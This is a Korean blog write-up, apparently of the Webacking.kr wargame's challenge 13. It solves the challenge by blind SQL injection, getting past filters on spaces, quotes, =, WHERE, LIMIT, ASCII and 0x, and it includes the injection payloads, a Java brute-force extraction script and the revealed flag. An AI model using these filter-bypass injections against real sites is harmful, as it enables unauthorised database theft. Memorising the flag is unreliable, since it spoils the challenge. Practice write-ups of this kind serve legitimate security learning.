해당 문제는 Webacking.kr에서 제공하는 문제 중, 배점이 압도적으로 1등인 1000점 짜리 문제다.
그만큼 난이도가 있다는 거~~~~~~~
겁에 질려서 하루 하루 미루다가 겨우 풀게 됐다.
문제는 딱보면 그렇게 어려워보이진 않는다. 나도 첨에 봤을 땐 "뭐야 얼마 안걸리겠는데?" 싶었는데, 내 어리석은 생각이였다.
필터링 되는 문자가 미친듯이 많다 ㅋㅋ.. 하나하나 다 적어놓진 않았지만 일단 생각나는 정도는
+ / * - 공백류 전체(\t,\n,\r,+,%0a,%0b,%0c ...등) and && = LIKE LIMIT WHERE GROUP ASCII /**/ 0x CHAR()
그리고 이외에도 굉장히 많았던 것으로 기억한다.. 문제 출제자분도 진짜 고심 고뇌하시며 힘들게 문제를 출제하셨을 것 같다는 생각이 들었다. 덕분에 많이 괴로웠습니다..ㅜ
일단 제출 입력값에 0부터 다양한 숫자를 넣어본다.
▪︎ 결과
‣ 0을 넣었을 땐 반응이 없고
‣ 1을 넣었을 땐
result에 1이 출력이 되고
‣ 그 이외의 숫자들은
result에 0이 출력이 된다.
입력값에 따른 이런 결과값들로 미루어 봤을 때, Blind Sql Injection 공격을 생각해 볼 수 있다.
대충 쿼리문을 예상했을 때
SELECT result FROM table_name WHERE no=
정도임을 예상해볼 수 있고, 이제 차근차근 데이터베이스명부터 컬럼의 값 까지 기나긴 여행을 시작하면 된다.
▶︎ 먼저, 알아둬야 할 내용에 대해 간단히 설명하겠다.
∙ database() 는 현재 사용하고 있는 데이터베이스를 출력.
∙ 데이터베이스 선택 없을 때 -> select database(); = NULL
∙ use sample_db -> select database(); = sample_db
나는 문제를 풀면서 단계마다 되게 다양한 방법을 이용했는데, 우선 데이터베이스명을 찾을 땐 아래와 같은 과정을 거쳤다.
0 or (참) 일 경우 결과값이 무조건 1로 나오니, 0 or (거짓) 일 경우를 만들어서 결과값을 통해 조건식의 참 거짓결과 판단한다.
(0)or(length(database())%7)
우선 기본적으로 공백이 필터링이므로, () 를 사용해 공백처리를 우회했다.
그리고 가볍게 나머지 연산자를 사용해서 데이터베이스의 길이를 구해봤다. 물론 이 방법의 주의할 점은, 결과값이 같은 수가 한가지가 아닐 수 있다는 것. 즉, 15%7 = 1인데 8%7 = 1이다. 따라서 그리 좋은 방법은 아니다. 가능한 경우를 큰 숫자부터 생각해줘야하고, 때려맞추는 감도 조금 필요하다. 사실 이 방법은 좋은 방법이 아니다. 너무 불확실하다. 그런데 나중에 정확한 값을 떠나서 경우를 생각할 때에 이용되기도 하니 몸에 익혀두는 정도로 넘어가자.
근데, 전체 데이터베이스를 모두 구해보지 않느냐고 생각할 수 있다. 물론 그게 정석이고 정확한 방법이다. 나는 그냥 현재 페이지에서 사용하는 데이터베이스를 바로 얻은건데, 완전히 정석으로 모든 데이터베이스부터 구하려면 아래와 같이 해주면 된다.
(0)or((SELECT(count(schema_name))FROM(information_schema.schemata))%2)
여기서도 나머지 연산자를 사용했는데, 이런 습관은 좋진 않다. 여튼 이 결과가 0이 될때를 찾아서 값을 판단해보면
총 데이터베이스는 2개임을 알 수 있다. 그치만 하나는 방금 이 과정에서 쓴, 메타데이터 데이터베이스인 information_schema일 테니까 역시나 우리가 database()로 구했던 값이 우리가 원하는 값이라는 것을 다시금 알 수 있다.
이제 7글자 짜리 데이터베이스의 이름을 알아보자.
현재 ASCII와 =가 필터링이기 때문에 이를 우회해줘야한다.
▶︎ 우선 알아야 할 내용
∙ = 필터링 우회 -> in() (where사용이랑은 별개). LIKE와 같은 느낌.
∙ ascii 핕터링 우회 -> ord 또는 hex
ord는 멀티바이트( 한글 ) 같은 경우만 아니면 ascii랑 동일하게 작동
hex는 문자열을 아스키코드 헥사값으로 변환해줌.
+ 비슷한 방식으로 char는 아스키코드값을 문자로 변환.
이를 토대로 아래 코드를 통해 7글자 전체의 문자를 찾아낸다.
(0)or(ord(substr(database(),1,1))in(99)) //첫번째 글자
음, 혹시나 substr에 대해서 모르는 사람이 있을까봐 잠깐 설명하자면
substr("hello", 1, 1) 하면 hello 문자열에서 앞(1)에서부터 하나(1) 의 문자를 잘라서 리턴한다. 즉 "h" 가 리턴된다.
같은방식으로 substr("hello", 2, 1)은 "e"가 리턴된다. 주의할 점은 배열의 인덱스나 LIMIT 처럼 시작점이 0부터가 아닌 1부터 라는것.
이렇게 반복하다보면, "chall13" 이라는 값을 얻어낼 수 있다.
직접 손으로 반복하지 말고, 코드로 작성하길 권한다..
프로그래밍 언어별로 인터넷프로그래밍 관련 객체와 함수가 정의되어 있을 것이다. 필자는 자바를 너무나 좋아해서
글 아래에 자바로 구현한 방식에 대한 포괄적인 코드를 올려놓을 테니 필요에 따라 변경하여 응용해주면 될 것이다.
여기까진 상대적으로 상당히 간단하다. 하지만 이제부터 좀 고뇌가 필요하다.
chall13이라는 데이터베이스명을 얻었으니, 이제 이 데이터베이스에 몇개의 테이블이 있는지 알아내야 한다.
하지만 WHERE 키워드가 필터링인 상태이므로 아래와 같은 일반적인 테이블 추출 명령을 사용할 수 없다.
SELECT table_name FROM information_schema.tables WHERE table_schema='chall13';
여기서부터 난관에 봉착했다.
SELECT table_name from information_schema.tables JOIN (SELECT 'chall13' t)x ON information_schema.tables.table_schema=x.t;
처음엔 가벼운 마음으로 위와 같이 Anonymous 테이블을 일시적으로 생성하여 information_schema.tables와 JOIN 해주는 방식이였는데, 진짜... 공백처리라는 큰 산에 막혀서 더이상 나아갈 수가 없었다. 괄호연산을 여기저기 아무리 해줘봐도 문제가 해결되지 않았다. 포기...
(-> 문제 부분은 (SELECT 'chall13' t)x를 어떻게 괄호처리로 ON과 구분하느냐.. 별 수를 다써봤는데 안된다 ㅋ 아시는분..?)
저걸 공백으로 띄워줄 방법이 도저히 없어서 그냥 아래와 같은 방법에 중복되는 데이터들을 제거하는 중복제거를 생각해냈다.
JOIN 을 다소 우스꽝스럽게 사용했는데, 저렇게 사용하면 두 테이블은 JOIN 되나 서로간의 명확한 연결다리가 없기 때문에
1:1 매칭방식으로 모든 값들이 AxB 방식으로 매칭될것이고 (테이블 데이터가 5개, 5개라면 5x5로 매칭 = 25개) 그 중 데이터의 중복이 생긴다. 따라서 distinct 키워드로 제거해주는 방식이다.
(SELECT(count(distinct(table_name)))in(2)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in('chall13')));
근데 적용해보면 알겠지만, 이거 안된다. ㅋㅋㅋ 내 mysql에 넣어봤을 때는 정상적으로 작동하는데, 왜안될까? 여기서 의문이 생긴다. 내 my sql에서는 되는데 문제에서는 되지 않는다면 분명히 제대로 동작하지 않는 무언가가 있다는 것인데..
싱글쿼터가 필터링 되지 않은게 약간 의아하긴 해서 문제 주소에 아래와 같이 입력해봤다.
((0)or('1'in('1')));
원래 true가 나와야 하는 이 결과가 false가 나온다... 싱글쿼터가 필터링은 안되나 작동을 안하는 것을 유추해볼 수 있다.
굉장히 어이가 없는 상황이다. ㅋㅋㅋㅋ 필터링은 아니지만 작동을 안하다니...
따라서 위의 코드를 아래와 같이 고쳐져야 한다. 그리고 이제부터 싱글쿼터(더블쿼터도 보함)는 사용해주지 말아야 한다.
(SELECT(count(distinct(table_name)))in(2)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database())));
내가 in(2) 를 했듯이, in 안에 여러 값들을 넣다 보면 2일때 참이 된다. 테이블의 갯수가 2개라는 것이다.
어떻게 알아내긴 했는데.. JOIN ON을 예쁘게 사용한 것도 아니고, 익명테이블 방식을 성공적으로 적용시킨것도 아니고.. 그냥 중복데이터 상관없이 쭉 나열한다음에 그중 database값과 맞는것들을 찾고 중복을 제거한 방식이라 풀이 방식이 부끄럽고.. 풀었어도 조금 찝찝하다.
코딩으로 치자면.. 내가 푼 방식은 코드의 리펙토링 같은건 1도없는 코딩 느낌...고수는 규칙찾아서 10줄로 풀 때 나는 if문을 8개 중첩으로 해서 구현한 그런 뻐근한 느낌.. 그래도 해킹은 코딩이 아니니까...!! 취약점만 찾으면 되는거겠지...ㅠㅜ?
ps..
해당 문제는 공백이 필터링이라 ()를 사용해줬어야했는데 SQL에서는 ()로 묶을 수 있고 없는 것들이 명확하면서도 불명확한것같다.. 기본 키워드들을 못묶는다고 생각하다가도 distinct는 또 묶인다..
그리고 익명테이블 선언같은 (select 'hello't)x 는 또 ((select 'hello't)x) 이렇게 못묶인다..ㅋㅋ (table_name) 은 이렇게 묶이면서..
뭐가 그렇게 안되는거랑 되는거랑 구분이 뚜렷하지가 않는건지..
별개로 (select 'hello' as 't') as x 는 되지만, (select 'hello' as 't') as 'x'는 안된다.
(참고로 별명을 만들어주는 as 키워드는 원래 생략가능하다)
뭐..점점 알아가는거겠지.. 사실상 이렇게 복잡하게 얽히고 섥혔기 때문에 내 데이터베이스로 작동되는지 연습해보고 문제에 적용해야만 한다..
여튼 각설이 길어졌는데, 다시 본론으로 돌아와 테이블의 갯수가 2개까지인 것을 알아냈다.
난 앞으로도 이 형편없어 보일 수 있는 JOIN ON 사용방식으로 문제를 풀 것이다.
테이블의 갯수가 두개인데, 현재 LIMIT 키워드가 필터링 상태이다. 이런 조건에서는 MIN() MAX() 함수 사용을 고려해볼 수 있다.
▶︎ 우선 알아야 할 내용
MAX() 은 선택된 칼럼에서 가장 큰 값을 가져옵니다.
가장크다 -> 문자를 앞부터 하나하나 순서대로 비교하면서 큰 값. c와 asfsdg를 비교했을 때 c가 크다. (길이와는 상관없음)
MIN()은 이와 반대
따라서 MIN()과 MAX()를 사용해 두 가지 경우의 값을 모두 얻어온다.
(SELECT(length(min(distinct(table_name))))in(13)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database())));
하나는 테이블 길이 13
(SELECT(length(max(distinct(table_name))))in(4)FROM(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database())));
다른 하나는 테이블 길이가 4임을 알아낼 수 있다.
+ 여태 length를 select를 감싸는 가장바깥에 쓰곤 했는데, select 다음에 써서도 동일한 효과를 낼 수 있다는 걸 생각할수있게됐다.
-> length(SELECT "HELLO") = 5, SELECT length("HELLO") = 5;
이제 둘의 테이블 명을 알아내보자.
(ord(substr((select(min(distinct(table_name)))from(information_schema.tables)JOIN(information_schema.schemata)ON((information_schema.tables.table_schema)in(database()))),1,1))in(65))
substr의 두번째 인자를 변경해가며 문자의 위치를 셀렉트하고, in() 안의 아스키코드값을 넣어주면서 해당 문자가 무엇인지를 확인해본다.
프로그램으로 돌려보면 "flag_ab733768" 라는 값이 나온다. 마찬가지로 max도 해주면 "list" 라는 값이 나온다.
문제에서 요구하는게 flag 이므로, 자연스럽게 "flag_ab733768" 테이블에 눈길이 갔다. 그리고 이 테이블에 컬럼 갯수를 조사해 보려면 flag_ab733768 라는 문자를 어떻게든 쿼리에 넣어줘야 해당 테이블로 필터링이 될 텐데, 현재 싱글쿼터 더블쿼터가 모두 필터링인 상태라 다른 방법을 생각해봐야한다.
▶︎ 우선 알아야 할 내용
문자열 표현 방법
1. 아스키 값으로 우회
CHAR(102,108,97,103,95,97,98,55,51,51,55,54,56) = 'flag_ab733768'
mysql> select 'flag_ab733768'in(CHAR(102,108,97,103,95,97,98,55,51,51,55,54,56));
+--------------------------------------------------------------------+
| 'flag_ab733768'in(CHAR(102,108,97,103,95,97,98,55,51,51,55,54,56)) |
+--------------------------------------------------------------------+
| 1 |
+--------------------------------------------------------------------+
1 row in set (0.00 sec)
결과 1 -> 같다는 것
2. 헥사 코드 값으로 우회
0x666C61675F6162373333373638 = 'flag_ab733768'
각 문자의 헥사값을 구한 뒤 연결(00~FF 아스키는 255최대) ps. 가장 왼쪽에 접두어로 0x를 붙인다.
ex) "admin" = 0x61646d696e (아스키코드 16진수값) = 0x a(61) d(64) m(6d) i(69) n(6e)
mysql> select 'flag_ab733768'in(0x666C61675F6162373333373638);
+-------------------------------------------------+
| 'flag_ab733768'in(0x666C61675F6162373333373638) |
+-------------------------------------------------+
| 1 |
+-------------------------------------------------+
1 row in set (0.00 sec)
결과 1 -> 같다는 것.
3. 이진수 값으로 우회
0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000 = 'flag_ab733768'
각 문자의 이진수값을 구한 뒤 연결(00000000 ~ 11111111 아스키는 255 최대) ps. 가장 왼쪽에 접두어로 0b를 붙인다.
ex) "admin" = 0b0110000101100100011011010110100101101110(아스키코드 2진수값) = 0b a(01100001) d(01100100) m(01101101 ) i(01101001) n(01101110)
mysql> select 'flag_ab733768'in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000);
+-------------------------------------------------------------------------------------------------------------------------------+
| 'flag_ab733768'in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000) |
+-------------------------------------------------------------------------------------------------------------------------------+
| 1 |
+-------------------------------------------------------------------------------------------------------------------------------+
1 row in set (0.00 sec)
결과 1 -> 같다는 것.
위 세가지 방법 중에 현재 CHAR과 0x가 필터링 상태이고, 이진수를 뜻하는 0b는 필터링이 아니므로 이진수로 값을 넘겨줘야 한다..!
그리고 이제 컬럼이 몇개인지를 알아보자..
(select(count(distinct(column_name)))in(1)from(information_schema.columns)JOIN(information_schema.schemata)ON((information_schema.columns.table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)));
코드가 상당히 길어졌지만.. 결과는 잘 나온다. in 안의 값을 조정하다보면 컬럼이 1개인 것을 알 수 있다.
그리고 그 컬럼명을 알아보자 (여기서부터 min 안써도 되는데(컬럼이 한개여서) 내가 위에 썼던 코드들을 재사용해버려서 그냥 계속 같이 들어갔다. ㅋㅋ 모두 지우기 귀찮 ㅠㅠ)
(select(length(min(distinct(column_name)))in(13))from(information_schema.columns)JOIN(information_schema.schemata)ON((information_schema.columns.table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000)));
결과로 13.
13글자의 긴 컬럼을 가지고 있다.
컬럼명을 구해보자..
(ord(substr((select(min(distinct(column_name)))from(information_schema.columns)JOIN(information_schema.schemata)ON((information_schema.columns.table_name)in(0b01100110011011000110000101100111010111110110000101100010001101110011001100110011001101110011011000111000))),1,1))in(65))
in 65는 그냥 임의로 넣어뒀던 값이다. 내 코드에 계속 저렇게 고정되어 있는데, 저 부분을 변경해주면서 해당 문자가 무엇인지 알아내면된다. 여튼 결과로 컬럼명이 flag_3a55b31d 인 것을 알 수 있다.
이제 해당 컬럼에 데이터값이 몇개인지 알아보자.
(select(count(flag_3a55b31d))in(2)from(flag_ab733768))
결과는 2개. 마찬가지로 LIMIT이 필터링이고 값은 2개이므로 MIN() MAX() 를 사용해 값을 찾아내주자.
(select(length(min(flag_3a55b31d))in(4))from(flag_ab733768))
데이터 하나는 길이가 4
(select(length(max(flag_3a55b31d))in(27))from(flag_ab733768))
나머지 데이터 하나는 길이가 27이다 ㅋㅋ.. 직감적으로 이게 정답이겠거니 싶어서 max 값을 갖는 데이터값에 대해 알아봤다.
(ord(substr((select(max(flag_3a55b31d))from(flag_ab733768)),i,1))in(j))
27자이므로, 이것만큼은 제발 프로그램 돌려야한다~~ 물론 여태까지 모든 것들도 다 프로그램 돌려야 함 ㅜㅜ
i 와 j 라고 넣어준 부분에 이중포문 변수 i j를 이용해서 카운트 값을 바꿔주며 원하는 값을 찾아내면 된다.
그럼 결과로
FLAGchallenge13gummyclear 이 나온다.
문제에서 FLAG{something} 이라는 방식으로 입력하라고 나와있으니
제출 형식에 맞게 FLAG{challenge13gummyclear} 로 입력해주면 문제가 풀린다.
+ 내가 작성한 자바 코드 (마지막 flag값 도출 과정 기준 코드. 입맛대로 수정하여 사용하면 됌)
import java.io.BufferedReader;
import java.io.InputStreamReader;
import java.net.HttpURLConnection;
import java.net.URL;
public class break_even_point {
public static void main(String args[]) {
try {
for(int i = 1; i < 28 ; i++) { // id는 27자리
for(int j = 48 ; j < 123 ; j++) // 십진수 48 = 아스키 '0', 십진수 122 = 아스키 'z '
{
StringBuilder sb = new StringBuilder();
String str = "index.php?no=%28ord%28substr%28%28select%28max%28flag_3a55b31d%29%29from%28flag_ab733768%29%29%2C"+i+"%2C1%29%29in%28"+j+"%29%29";
URL url = new URL("https://webhacking.kr/challenge/web-10/"+str);
HttpURLConnection hc = (HttpURLConnection) url.openConnection();
hc.setRequestProperty("Cookie", "PHPSESSID=본인의세션값");
BufferedReader br = new BufferedReader(new InputStreamReader(hc.getInputStream()));
String s;
while ((s=br.readLine())!=null)
sb.append(s);
if(sb.indexOf("200")!=-1) {
System.out.print(String.format("%c", j));
break;
}
}
}
} catch (Exception e) {
}
}
}
+ 써먹기 좋은 내용
익명 테이블을 JOIN 하여, 공격 테이블에서 원하는 값만 순수하게 가져올 수 있음. 내가생각해도 뿌듯한 방법.. 비록 공백때문에 못써먹었지만
ex)
SELECT * FROM book JOIN (SELECT 'Math BOOK' as t) as w ON book.title=w.t;
book 테이블에서 title이 Math BOOK인 값만 가져옴. 이 경우 ON으로 두 테이블을 연관시켰으므로, 나의 문제풀이 방법에서 생겼던 중복은 생기지 않음(둘을 연관시키지 않았으므로 갯수x갯수로 그냥 모두출력된것).
select * from book JOIN maker; -> 매칭조건이 없으므로 book의 번호 x maker 번호 갯수만큼 1:1 대입으로 모두 출력
select * from book JOIN maker ON maker_id=x -> 이번엔 maker_id 제한은 들어갔지만 두 테이블간에 매칭되는 조건이 마찬가지로 없으므로, maker_id 제한사항 안에서 또 모두 1:1출력
따라서 distinct써줘야함.
+ 시도했지만 아쉬웠던 방법
select table_name from information_schema.tables
table_name -> if((table_schema)in('chall13'), table_name, 0); //table_schema = chall13 인 table_name.
select if((table_schema)in('chall13'), table_name, 0) from information_schema.tables
+ 0을 넣으면 아무것도 출력이 안되나, (0)을 넣으면 result에 0이 출력되는걸 미루어 짐작할 때
서버측에서 NULL이나 0을 입력하면 아예 무시하게끔 해놓은듯.
( 왜냐 0과 (0)은 SQL문에서 같은값으로 읽히므로 동일하게 작동해야 하는데, 다르게 작동하고 있으므로. )
+ 몰라도 되는 잡 지식 ( 현재 문제에서 전혀 쓰이진 않으나, 그냥..과정에서 알게 된 지식 )
// Integer.toHexString = 10진수의 16진수 변환.
// Integer.parseInt("", 16)은 해당 문자열을 16진수로 인식하고 10진수로 변환시켜줌. 단 0x는 빼줘야함.
'[웹해킹] > [Webhacking.kr]' 카테고리의 다른 글
[Webhacking.kr] 15번 (0) | 2020.09.27 |
---|---|
[Webhacking.kr] 14번 (0) | 2020.09.26 |
[Webhacking.kr] 12번 문제풀이 (0) | 2020.09.18 |
[Webhacking.kr] 11번 문제풀이 (0) | 2020.09.14 |
[Webhacking.kr] 10번 문제풀이 (0) | 2020.09.14 |